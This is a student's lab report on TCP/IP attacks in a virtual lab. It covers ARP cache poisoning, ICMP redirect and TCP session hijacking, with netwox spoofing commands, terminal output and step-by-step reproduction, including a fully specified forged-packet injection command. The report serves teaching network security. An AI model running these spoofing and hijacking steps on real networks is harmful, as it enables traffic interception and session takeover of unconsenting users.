TCP/IP Attacks

Linus Bein Fahlander (*linusfa@kth.se*)

A public repository containing the files generated and used in this lab can be found on GitHub.

Task 1 - ARP cache poisoning

Related PCAP file is `task1_arp_cache_poisoning.pcap`

Victim's ARP Table Results

```
root@inside-host:~# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.0.20.3                ether   00:16:3e:ea:12:fc   C                     eth0
10.0.20.1                ether   00:16:3e:d7:0f:f5   C                     eth0
root@inside-host:~# ping 10.0.20.1
PING 10.0.20.1 (10.0.20.1) 56(84) bytes of data.
64 bytes from 10.0.20.1: icmp_seq=1 ttl=64 time=0.042 ms
...
64 bytes from 10.0.20.1: icmp_seq=14 ttl=64 time=0.094 ms
^C
--- 10.0.20.1 ping statistics ---
14 packets transmitted, 13 received, 7% packet loss, time 13314ms
rtt min/avg/max/mdev = 0.041/0.089/0.289/0.064 ms
root@inside-host:~# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.0.20.3                ether   00:16:3e:ea:12:fc   C                     eth0
10.0.20.1                ether   00:16:3e:ea:12:fc   C                     eth0
root@inside-host:~#
```

Here we can clearly see the ARP table having the attackers MAC address set as the HWaddress in their ARP table for the receiver's IP address.

The second `arp -n` command was run after the second `netwox 33` command had been issued, after the continues pinging had ended.

Steps to reproduce

In the `inside-host` terminal I ran:

- `arp -n` to print the initial ARP table
- `ping 10.20.1` to start pinging the `firewall` (recipient)

Then, in the `attacker` terminal I ran `netwox 33 --eth-dst ff:ff:ff:ff:ff:ff --arp-ipsrc 10.0.20.1 --arp-ipdst 10.0.20.2` to send a ARP broadcast request that looks like it comes from `firewall` 's IP address.

This will make the victim `inside-host` update its ARP table with the attackers MAC address tied to the IP of `firewall` .

In the PCAP file this sequence of events can be seen in entry 9 to 14 where for one ping request (before a new ARP request is sent) `inside-host` sends a ping to the `attacker` .

Task 2 - ICMP redirect attack

Related PCAP file is `task2_ICMP_redirect.pcap`

Steps to reproduce

- After redirects are turned on in the `inside-host` VM I started a ping request to the `outside-host`
  - `ping 10.0.10.2`
- I then started the `netwox` command given in the lab instructions to start sending forged ICMP messages whenever packets with the `outside-host` as destination are sent. These redirect messages tells the `inside-host` that it should route traffic to `outside-host` via a gateway, which is the `attacker`'s IP.
- The ARP poisoning attack from Task 1 was then run again to cause `inside-host` to start sending the pings to the `attacker`
- As can be seen in the PCAP file, this redirect is performed for 9 more pings from `inside-host` all of which reach the `attacker`
- An interesting thing from the victim's side is that the pings return as normal although they can se a redirect message in the terminal output. But there is no packet loss.

Task 3 - TCP session hijacking

Related PCAP file is `task3_tcp_hijack.pcap`

Steps to reproduce

- I started a Wireshark capture to be able to monitor the packets sent between server and client
- Then I started the netcat server on `outside-host` and then connected a client to it on `inside-host`
- The messages `testing` and `from_inside` were sent to the server via the client
- Using Wireshark I then then looked up the following information: (This information gathering could of course be gathered programmatically if an attacker wished to use this attack)
  - The acknowledgement number sent by the server in response to the client's latest message, this I would use as the sequence number to send in the hijacked message
  - The acknowledgement number used by the client in it's message to the server. This I would use as the acknowledge message later.
  - The TCP Timestamp value and echo reply sent by the servers response to the client's latest message. This I would use to inform the timestamps I use in my hijacking message later.
- To create a message that would hijack the session I formatted the `netwox 40` command in the following way:
  - `-l` the source IP, in other words the IP of `inside-host`
  - `-m` the destination IP, in other words the IP of `outside-host`
  - `-j` the IP TTL "Time-to-Live" flag, here I just matched the one used by the client `40` in hex.
  - `-o` the TCP port used by the client, `55020`
  - `-p` the TCP port we started the server on, `1024`
  - `-q` the TCP sequence number, here I used the ack number used in the server's latest response to the client
  - `-r` the TCP acknowledgement number, here I used the same ack number sent by the client as it did not seem to change over multiple message.

    - `-E` the TCP window size, here I matched the sized used by the client
    - `-H` the data to send, here I sent the hex equivalent of "test" in ASCII
    - `-G` the TCP options to send, here I started with a copy of what the client's latest message sent and only changed to timestamps so that the TimeStamp value was larger than the last one and the TimeStamp echo reply was equal to the Timestamp value sent by the server's latest reply.
    - `-A/-z` using the TCP flags `PSH` and `ACK`
- This resulted in the following command being executed in the `attacker` terminal: `netwox 40 -l 10.0.20.2 -m 10.0.10.2 -j 40 -o 55020 -p 1024 -q 2145573434 -r 1329686055 -E 502 -H 746573740a -G 0101080ade0bf16f0417f6bc -A -z`
- Sending this message caused the message `test` to appear on the server and in Wireshark I could see a valid ACK response.
- As can be seen in the PCAP file, any following messages sent from the actual client were not acknowledged due to them now being out of sequence.